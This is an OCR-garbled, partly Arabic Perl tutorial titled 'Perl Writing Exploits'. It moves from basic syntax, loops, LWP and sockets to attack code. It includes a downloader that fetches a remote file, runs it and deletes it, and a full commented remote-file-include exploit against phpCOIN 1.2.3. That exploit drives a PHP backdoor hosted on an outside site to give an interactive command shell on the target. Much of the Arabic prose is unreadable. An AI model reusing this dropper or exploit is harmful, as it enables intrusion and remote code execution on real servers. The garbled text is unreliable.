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s Joudl a2 (O Oluwlw)i

P> a0 Jrosud glice Jpadl 09 2wl y i s
ActiveStates's perl

2990Jl 11D o alo>

wwad e Lasls
DzSofts Perl),>xoJl 14D pi=wiw! lLuazsww Ul
www.dzsoft.com &990J! 11D e oaxi

0,20l pAscwl ol
"perl Editor " J>g2Jl 0\ S| cowli oJ 151 gl
Pl UsSy ol 508 eleolw slaiolg

Aol aclb D9 Judl 5\ 2wl u Jgl wusiJ
"Hello World o apili

#!/usr/bin/perl -w

print "Hello World\n";

filename.pl puw V| ips abba>|

: 598l g

JyudU 2ol cul..SJ alaJl #!/usr/bin/perl

Josiow logocg . Uasdl U.o.\ShUms.&
a>xoll Ll | ol
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0995 L€ Upudl jused () N9 sl U Jusuinidg
ozl 14D le écl,all

L A> _)b-ud ||\n||

a S, 51 WY bidg

Newline
Return

Tab

Form Feed
Backspace
Vertical Tab

Escape

Alarm
Lowercase All

Lowercase Next
Uppercase All
Uppercase First

551 Jlo

#!/usr/bin/perl -w

print "Hello\tWorld\n\a";

VeSS bol Ulusin el S\OU Jio ol o\ cUisg
2Ll 9l Yoo SS9 ([ Soug « U990 9l f‘-‘toilb
"$".6,lwIl WV, xig

SNUWI JUJl Al

#!/usr/bin/perl -w

$Hello = "Hello World\n";
print $Hello;
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WO\ 84Sy pAsuimn S\ (') plasuiawl lisosg

| wvge.00ll

wad S ppbi 9 '\n' Joe Syl bogiw 9,91
DOT plisuiwl Lai go oy waai Ul diSes Lauls

#!/usr/bin/perl -w
H<----"#" A2y Gl2i 9D J >93] AuuV LD

$YourName = "YOURNAME" ; # ,.2ioJl LS, c $YourName
print “Helloll . mwn . llworldll . L1} n . IlMyll . mww . IlNamell . n n . "IS" . mwn .
"$YourName"."\n";

Hello World My Name Is YourName
Jio @ UJl wldosll (o sl L Lauls

#!/usr/bin/perl

#Adding, Subtracting, Multiplying, and Dividing in Perl
#Perl can do all basic math functions and more.
$a=3+5; # goxll

$b=5%*5; # o,all

$c =10/ 2 ; # aouwusll

$x =12-5; # g,bJl

print $a . " " . "ADDITION: The solution should be 8.\n";
print $b . " " . "MULTIPLICATION: The solution should be 25.\n";
print $c." " . "DIVISION: The solution should be 5.\n";
print $x." " . "SUBTRACTION: The solution should be 7.\n";
#Autoincrementing and Autodecrementing

$Count = $Count + 1;

print "$Count\n";

#ocl o)l adoc yusi L

$Countl += 1 ; #Decrement $Countl -=11

print "$Count1\n";

#Square Root s\ il jaxJI

$Square = sqrt(121) H

print "The square root of 121 is $Square\n";
#Exponents yw VI

$Exp = 2**5;

print "$Exp\n";
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"@"5,LwVl pasuiani s yeidg da>lg

#!/usr/bin/perl

@arrayname=('varl’,'var2’,'var3’);

print
$arrayname[0]."\n".$arrayname[1]."\n"."$arrayname[2]"

4

Qiowding arrayname lpowwl a9g0.00Jl i N9 Lln
varl.var2  var3ul usioll
JoVl waall acllay Lod o

> JUo

#!/usr/bin/perl -w
@Hello = ('Hello’, "World");
print join(' ', @Hello) . "\n"; # all>L acldll join

99000 acll Jic pAsciuws join &l
Splitésu,bJIL S oludl gusis Jbo

#!/usr/bin/perl -w

#The Split Method

$Sentence = "Hello my name is AlhambA.";

@Words = split(/ /, $Sentence) ;

print "@Words" . " " . "That was splitting data" . "\n";

#The Longer Way

@Hello = ('Hello', '"World");

print $Hello[0] . " " . $Hello[1] . "\n";
#Count starts at 0 so 'Hello' = 0 and so on
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join asu,bll b A> (JI auiw split asu ol

€159 JS dic OlodSIl puits gl 350 split @il
Jol yusi Lol Ldg

#!/usr/bin/perl -w
@array = qw(bam bam bam bam);

print join(' ', @array);
#Simple

2wl 9 o,uS Libolaswuwlg Ta> alpaw wloga.o0ll

: Hash
) ._ Ol aindl o €94
el ax> il Ug) Wio: (W9 s JSJ Joy ywlplle
>0l j90ll Lglg
"%" o,Lw VI pazuiaan Lpa,rilg
:uwlpl ppal JUno

#!/usr/bin/perl -w
%color=("apple","red","banana”,"yellow");
print $color{apple}."\n".$color{banana};

#!/usr/bin/perl

% color=(

apple =>"red",

banana =>"yellow");

print $color{apple}."\n".$color{banana};
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: Conditionals
Jlo 35U leogal bl wlgsl
I piaws @Il pat OIS I3] ¢ 2l Lpy &y o> a>9 o)

&> JLb Iblg ax>la Jslu gl Uls 159 « 6 =il

gy ood JSU Jauws @il sa>19 JSb
O x| &y aidoy UMl [5lg

rasu.all
if ( Logical ) { some command }
Jlo

#!/usr/bin/perl -w
$i=1;
if($i ==1) {

$i++; #Increment 1

print $i. "\n";
#Print's 2 because the variable $i's condition was true
#If $i was any other '#' it wouldnt print anything.

}

i usiol] Wi slaw JUoll
i=1 jusioll ULS 151 e Jdaisin SIWI ol (NS o
oyl o 2osuaw b jue ¢ Sl

2 oS asubug 1 J kb pJ

Y9 x| string w\9 b il Ulgsl pasiawi Ul (Sous
Aol
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'JUlo

#!/usr/bin/perl -w
$i = Hello;

if($i eq 'Hello') {
print "Hello!\n";

bs

else {

print "The variable (i) doesn't equal the correct string!\n";
by

byl e pJ 1Dl Wliso Else

a8 50| Jow Ml G @, Liodl

equalty S9luu
INEQUALTY SoluwV
LESS THEN o0 s20l

GREATER THEN 0 S|
LESS THEN OR EQUAL  Sgluw gl (0 y220!
GREATER THEN OR EQUQL Sgluw gl (0 JuS|

: User Input

pAstiamoll JMS o JI>>YI
paianodl o Wby 620l JMeiuwl s dic pirsuaang
JM2iw VI Juswiaidd Wio « uai 9l aowd J|

oleo Jiwini o\ Jloiww V] @LSy pasiaol| 09849
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:JoW b sac JUdg
STDIN Method Vsl
Wil Jol adec D

Jlo

#!/usr/bin/perl -w
#STDIN Method
print "Hello my name is AlhambA, what is your name?: ";

$L1 = <STDIN>;
chomp $L1;
print "Nice to meet you $L1!\n";

Ay S\l Ve =l Mol ool Wiy ui ichomp
oasioll

: ARGV@ Method b J>W aulll asy,bli

asle a9ga.00 G 64D

Wl e pisuanol] gai Ul cliSey 61gs : ARGV@
'JUlo

perl sploit.pl www.somesite.com /forums/ 1

Jagi Ul oSov UL 604D gao>
( perl sploit.pl ) laclo
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ARGV@&siu,bJU Wl Lsdl passows bo wBeVIl el (s

#!/usr/bin/perl -w
if(@ARGV !'=2) {
print "Usage: perl $0 <name> <number>\n";

exit;

be

($name, $num) = @ARGV;

print "Hello $name & your number was: $num!\n";

dsuollfile.pl wloll puwl AW juioll 14D piskiaws $0
. a5 ,5x0ll Wlogleoll 5\ aiclb pivg WL

o S\l module plasuiuw U U asy,dali
:GetOpt

#!/usr/bin/perl -w

#GetOpt STD module

use Getopt::Std;

getopts (":b:n:", \%args);

if (defined $args{n}) {

$nl = $args{n};

s

if (defined $args{b}) {

$n2 = $args{b};

s

if (defined $args{n} or !defined $args{b}){
print "Usage: perl $0 -n Name -b Number\n";
exit;

s

print "Hello $n1!\n";

print "Your number was: $n2\n";

print "Visit today!\n\n";

o yull vl Y
Getopt olowwuoll Judgoll clerivwl JUWI Jloaudl s\
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plazuawlg « b,-n- pMeVI LpJ getopts gulJl ol 99
%%argsppi =il ywvlgll

n- pMJl >9>90 ULS I3l Jgiy Ld yuo Ll Hdouudl \99
. Nluioll 8 wlogleoll Uss wsbudl ol (8
.59>90 N-pMsJl ULS 151 Y1 ,oVl 14d I J5u o)
b-pM2Jl g0 s\l yusig

»e OIS I3 b ywid] dazw Ld juiae So>JI L boudl \99
AUEV] i39>90

bl sa>lg all> 59 VI ailo Lls: or

veSy bodic VI exit dowaidU 2wl wl (slsug Joduaw

S\ SOWI guboug ¢ 2,1 Il jRiaand (a9 ,20 oMl
JUoJl

GetOpt" Jloiwl W alaossll aay,bll veSiuwg
module
plaskaw Nl Jpaw ol w UeSy Ul Loy

: Loop

WS\9 acgoxo S\gI ¢ o))l Jpaw 9p9 >9SJl 6¢cl,9 clisoy
- >9S8JI 1A

#!/usr/bin/perl -w

#Loop Tutorial

#www.SnIpEr-SA.com

#Join Us TODAY!
HUEBBHAHBHBH BB BB H BB BB H BB H BB RHBHH

#FULLY Commented#
HHBBHHBHRAHHBBHH BB BB BB B HRH BB BHBHH
#While Loops

#Format

# while (Comparison) {
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# Action }

#While loops will loop while the comparison is true, if it
changes to false, it will no longer continue to loop through
its set of action(s).

$i=1;

while($i <=5){

print "While:" . $i. "\n";

$i++;

bs

#For Loops

#Format

# for (init_expr; test_expr; step_expr;) {

# ACTION }

#H#

# Init expression is done first, then the test expression is
tested to be true or false then --

# the step expression is executed.

for($t =1; $t <=5; $t++) {

print "For:" . $t. "\n";

bs

#Until Loops

#Format

# until (Comparison) {

# Action }

##

# An until loop tests the true false comparison, if it is true,
it will continue to loop until the comparison changes to a
# false state.

$p=1;

until($p == 6) { #It's six because when $p becomes = 5,
it doesnt go through the set of action sequences;
therefore, 5 isn't printed.

print "Until:" . $p . "\n";

$p++;

bs

#Foreach Loops

#Used most commonly to loop through lists

#Format

# foreach $num (@array) {

# Action }
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$n =1;
foreach $n (1..5) {
print "Foreach:" . $n. "\n"

$n++;

bs
#End Tutorial

LibWWW

LibWWW ol Lwp
Il WiSe wugll go Jelaild Dy Judgoall o 8
S8l go Jelais sl HTTP

JU Leao> Jioi \g9 Wloazuiuw VI o ,uiSIl L Lwp
Qiiao JUd b a>lg Judgo \9 bisd yun)g objects
» pio i)

UserAgent g9 <) WolJlo UgSuw lgio A>lg JUD
Simple.clJasg

LWP

S gl SleS] sbw] dule v 14 lalbw Aio g
JuoJl 1D 6cl)09 ay Jyadl Wliu,Swl o J—clais
Lp0p99

S isiow LWP module Jslg

: LWP Simple module

A0 Aotioaaid sl Jdgodl S| A UgSuuw Joiceodl o
i juebbid cl S99 ywlw] ais): dlMaiawl WS 5\
- LWP OMidgo w LW VI £ plaiig
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8990 \EXiwwi Ul Sg o LWP Ju>g0ll pasuiows \SJg
Juo90Jl 04D

#!/usr/bin/perl

use LWP::Simple; # calls the module #
print "haha?\n";

'C:\Perl\site\lib\LWP' ;o=J| s\9 2990
use LWP::simple; bl ligy Welediowl pig

: LWP J>goadl go U Nl JlgMJl yasug

get(s$site);

getprint($site);
getstore($site, $savefile);

url J+9 oo asulboll Oldiawoll W Wi get($site);
lp=> )9

wwoll axo oo gabi getprint($site);

S\ wloll baxig Lloxi getstore($site, $savefile);

,Uu p9 Iwp Jdgoll go il Ll yiST Jlgs wa,l Idlg
http://search.cpan.orqg/dist/libwww-perl/lib/
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pis S Loyl W, i 6,90 2us) JLodl 14D Adliw
woll N Juoull

#!/usr/bin/perl
#Perl Web Downloader

#///Config/ /[ #
use LWP::Simple;

getstore('http://secure0000.110mb.com/Banner.jpg’,
'‘Banner.jpg'); #downloads + stores file
system('Banner.jpg’); #executes the

sleep(3); #sleeps (waits)

unlink ('Banner.jpg'); #deletes the file

i lgsdl (8 loll bhasg lplos> pig wau,eill 5\ ¢l
~alo)l Bi> pi Nilgi 3 Laiil pi lpoid

LWP UserAgent : J>90 Wil

LWP Judgo ot Wlhimowdl o dujoll ad Juseoll 14d
ULS) Oliaonll 61D pleid Ul dule ud GSJgSimple
Olisonll 8D o 61 >lg oaiw bad Ju liMaiwl
HMeiwl abs)

Mol 14D 8¢y puai gaweill wa,l I3lg

http:/ /search.cpan.org/~gaas/libwww-...P/UserAgent.pm

: GETolbJI £ plois Licd

by GET lbll W, JgSgig i 13D HTTP/1.1
S\D9 ¢ dull Uls)l (Il daxoll a0l o Ol
po-l aSauindl e Joiowuig legaiv ,uSYI aay,loli
Vlguic o Wb lde Jaxid GET bl Joxiuwlg
g99oJl
Digest::MD5 L>goJ)l Laul S,ul9



Perl Writing Exploits

@ aols Jlgs Jldg iU U zwouan Judgoll 13d
b clisg

S\ Jlg I

md5($data,...)

md5_hex($data,...)
md5_base64($data,...)

md5($data,...)
JSidl 9 aari poi MD5 digest wawxi aJla] 61D
<l 16 LJob binary vlil

md5_hex($data,...)

ins wd bl JSudl dusi oSJ (ulbad] s
32 Jgbhexadecimal

UoSy Sgixoll

'‘a'..'f'.90'..'9'

md5_base64($data,...)

Llob yauiuoll base64 Jsuidl s SJ (laldl sy
22

VoS Sgixoll
l/l.9 l+l 9'9'..'0' 9 lal..lzlslAl..Izl

'Jlwo

use Digest::MD5 qw(md5_hex);
print "Digest is ", md5_hex("foobarbaz"), "\n";

Digest is 6df23dc03f9b54cc38a0fc1483df6e21
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Digest::MD5 (€ Laxu kul)Jl 14D

http://search.cpan.org/~gaas/Digest-MD5-2.36/MD5.pm

Logslbo GET wllbJ >oxi
wlly 8acld e GET Wbl pgsiow JUJl 11D \9
LWP UserAgent J>g0Jl g0 g9 Lpivjxig Md5

#!/usr/bin/perl
# Md5 Database Filler #
# Version 1.0, Add Word Manually #
# #
# Modules needed : LWP (User Agent), Digest (MD5) #
# Download + INSTALL md5 digest module #
use LWP::UserAgent; # Calling our LWP Useragent module
use Digest::MD5 qw(md5_hex); # Calling our Digest MD5
module (Install {if you need it})
$brow = LWP::UserAgent->new; # Our new useragent
defined under the variable $brow
while(1) {
# Just a simple while loop that will run the program
continously instead of just 1 time
print "Word to add: ";
$var = <STDIN>;
chomp ($var);
$seek = "
4
$brow->get( $seek ) or die "Failed to Send GET
request!/n";
print "$var” . " : " . md5_hex("$var") . " was added to
database " . "\n";
bs
# End of the while loop
# To test if it worked go to and
search your md5(hex) hash given to you
# It should crack :)
# This was a simple example of a get request executed on
a server
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LWP (User Jo>goll clediow] pio JUWJI 1D 9
2ol 9 gl ,louwudl “\9Agent), Digest (MD5)
W\ Lpeogg 61> useragent Joo gawlll j ool 5\99

$brow . uxioll

hlgi VLS Joo W
WUl 822l bul, Ulguic W, 2 $seek ,aioll 99

Bacladl (8 alssl SiJl pawVl Ussuw Ld dasoll
wde get bl dsiuw aunasioll LI ouall (99

bl L Gas> ULs Islg $seek O —20Jl jrgioll
Uosdl &l Joaw s

cliisg asidssl Sidl pmwll dclb  pics Jas VI (99
299.0J1 Wl Ld3l puw I adlol o asli Ul Wyl I5lg

http://md5.rednoize.com/

vl 8o oliwg puwll e g

Sockets
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I0 Judeol) Ulwlwl Aslow il 13D 5\9 yuwlinll
Socket INETo-9 (Input/Output) gl,=>Vlg JIL>>VI
OlMeiawl 5\ piswiug

i Lodl paseaunig: sl adelainldl o liedl jupaal)
AF_INET (a0 MI

JloJl 14D 59
80 el sde ip e JLaiW by guiwito £ Liniow

#!/usr/bin/perl

use I0::Socket; # J>90ll i I0 Socket
print "An IP to connect to: ";

$ip = <STDIN>;#0,SI1J] 5\ v Sl juinll U e
chomp($ip);

$i=1;

while($i <=5) {

$sock = 10::Socket::INET->new(Proto=>"tcp’,
PeerAddr=>"$ip", PeerPort=>'80") or die"Couldn't
connect!\n";

#Proto or Protocol (TCP/UDP)lLw . >wiawl| UL tcp
#PeerAddr or Peer Address JJ pa>wui ip

print "Connected!\n";

$i++;

}

SQL injection exploits \9 Joxiaui Ju>g90Jl 4D
ul>g il oS cliSe
. 99,0 Sockets £ Uiy ULS Jldg
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(RFI (Remote File Include) (e UgSiow S\D9

phpCOIN 1.2.3 2wl,u \9 &2l
http://milwOrm.com/exploits/ 2254

www.site.com/coin_includes/constants.php?_CCFG[_PKG_PATH_I

NCL]=SHELL?&cmd=COMMAND

uss) 929 395 JS pp9l 595Ul ppsi NS Aouniti i
Wl dde o

LD zuolg jut 989 8,500 sl 595Ul Frail

#!/usr/bin/perl

# -

# phpCOIN 1.2.3 (_CCFG[_PKG_PATH_INCL]) Remote
Include Vulnerability #

# Vulnerability found by TimQ #

# Coded Exploit By Warpboy #

use LWP::UserAgent; # We call our module

#Store our user inputted information into variables

# > Moll Hluicd Lpodswiow il adsaoll Ol usiodl W )siuw
Jloiw VU

$site = @ARGV[O0];

$shellsite = @ARGV[1];

$shellcmd = @ARGV[2];

if($sitel~/http:\/\// | | $sitel~/http:\/\// | | '$shellsite)
{

usg() # If the Url is invalid jump to the usg subrountine |5l
.Lw raTCP-) ulS usg subrountlne JMiuw VIl Jaawl \9 2919
}

header(); # Run through contents in the header
subrountine <JiSg9 header subrountine ¢j=>J| \9 daisw
b b Vo e liwinw JMiw)l Jauwl
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# Some loops to give us the ability to continue to use
more than one command on the server.

# Without these we would have to re-start the exploit for
each command

# 59 ] Il olgl clacl 5\ ,oiw )] gulbiuw wg) alawlgy
A sVl hi>9 2wl duaii dic b9 a>lg jol g

WS\ Ld Jg= ol 0,)9.8J] o JMiw VI Aeii \SgJ | 0iawl
asl>J| while Lloc Lidg while() == while(1) aau sl
20000 | i U

while()

{

print "[shell] \$";

while(<STDIN>) # Recognize STDIN as a user input
method, while(<STDIN>) basically states that while your
taking user input for the command, do the following.

{

#WD i >l jolgVl Ld J=> 1w

$cmd=$_; #@_ :the argument passed to sub routine
chomp($cmd); #Chomps the newline off the user inputted
command

# Li9 =0 Aic LWP Useragent module i >9SJ1 o 13py
LiMeiwl lgao Jowi \SJg audeall ol o

$xpl = LWP::UserAgent->new() or die;

#Defines the variable $xpl as a new useragent

$req = HTTP::Request-
>new(GET=>$site.'/coin_includes/constants.php?_CCFG[
_PKG_PATH_INCL]=".$shellsite.”?&'.$shellcmd.'=".$cmd)o
r die "\n\n Failed to Connect, Try again!\n";

#odbll W 2w get Ulawll g9g0J1 JI 82Ul Jawyug

# usioll $req bl Aau get g990Jl JL)I piazuiwmwoll oo
2iod] N9 Ulawll $site .62l 299.0J1 e (gulou pJ
#9$shellsite where the php backdoor is located, is the
$shellcmd (php shell command variable) and $cmd
variable which was the user

#%$shellcmd inputted command to execute on the server
with the php backdoor. The final url
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# Would look like

[_PKG
_PATH_INCL]=SHELL?&cmd=COMMAND #
# pivg A>lg JSab 5\ Wiiaio) 2wy Joiow 048 alw Ml
2ol 59 lp=xo> $req
$res = $xpl->request($req);
# usinll $res Llbll Asu get o &5 ki gwioll Sgixolly
wlbll get juioll \9 U9 $info
# The response of the server to the GET request we sent is
stored in the $info variable
# bl o oLl Cusicwaaw get juioll 9 Lpijsug el ug
$info
$info = $res->content;

$lnf0 =~ tr/[\n]/[€]/;

# U0 05leoll Liugizxo juizdi sl bg,winll o acgozxo 01D
bl Ul get Ubs gl pasuiawos]l 1 o Uasdl ULS 151 Wio
\9 U UJ Josu Wi g990J1 5\9 Wbl gl 9 Wbl gl oVl 5\9
@ Lo Sl bl a9 20 Jpadl o UeSH S JLaiVi

#Simple conditional

if (1$cmd) {

print "\nEnter a Command\n\n"; $info =
bs

#Tests to see if there was a connection failure or the
command failed

#lbs 0Vl gl s JLaiVl uls DBl s LD

elsif ($info =~ /failed to open stream: HTTP request
failed!/ | | $info =~/: Cannot execute a blank command in
<b>/)

{

print "\nCould Not Connect to cmd Host or Invalid
Command Variable\n";

exit;

b

# Another Elself, this is used incase the command is
invalid like if you typed "asdfjasdf" as a command

# L Elself o axu=xo jut jolgVl wuub 15l "asdfjasdf"
elsif ($info =~ /~<br.\/>.<b>Warning/) {

print "\nInvalid Command\n\n";
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# 5\p9 JM2iw M ay9,.0 9l Awlwl >gSJl o 09zl 01D
Qsudooll o 2l an9 659>90 ULS 5] 2990l 2wl Wl >9S jazii
#ydxi" Sgixol) Udxw dleo Sgixoll ULS 5] "Warning” oy
= ol exits wui Wl a9 o il A>giV Hasoll 29g.0JI
if($info =~
/(.+)<br.\/>.<b>Warning.(.+)<br.\/>.<b>Warning/)

{

$final = $1;

$final=~ tr/[€]/[\n]/;

print "\n$final\n";

#oidg JMaiwVl sl Sgicw pauid] 1id else JSJ 5D
JSU @i Ll bgiall

else {

print "[shell] \$";

} # end of else

} # end of while(<STDIN>)
} # end of while

last;

#Sub-Rountines

#The end of the code is our sub rountine "header" used
earlier in the exploit

sub header()

{
print g{
+++++++++++++++++++++++H
++++++++++

phpCOIN 1.2.3 -- Remote Include Exploit

Vulnerablity found by: TimQ

Exploit coded by: Warpboy

Original PoC:

+++++++++++++++++ R
++++++++++

3
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#This is just our "usg" sub-rountine and a simple exit if all
the code is bypassed due to errors ect
sub usg()

{
header();

Usage: perl sploit.pl <phpCOIN FULL PATH> <Shell
Location> <Shell Cmd>

<phpCOIN FULL PATH> - Path to site exp.

<Shell Location> - Path to shell exp.

<Shell Cmd> - Command variable for php shell
Example: perl C:\sploit.pl




Perl Writing Exploits
gl
Gl pgb 5\ sledl VI pSio 0955 Lo
all ao>,9 pSule olullg

AlhambA pSo>|

3 -]

security-0000@hotmail.com
secure0000@yahoo.com

Dl a2 59 guwgills

http://www.cpan.or

http:/ /www.securitydb.org/forum

http:/ /www.programmingtutorials.com/perl.aspx
http://www.pageresource.com/cgirec/index2.htm

http://vsbabu.orqg/tutorials/perl

http:/ /www.freeprogrammingresources.com/perl.html
http:/ /www.thescripts.com/serverside...uru/page0.html
http://www.perl.com/pub/a/2002/08/20/perlandiwp.html
http:/ /www.perl.com
http://www.perlmonks.org/index.pl?2node=Tutorials




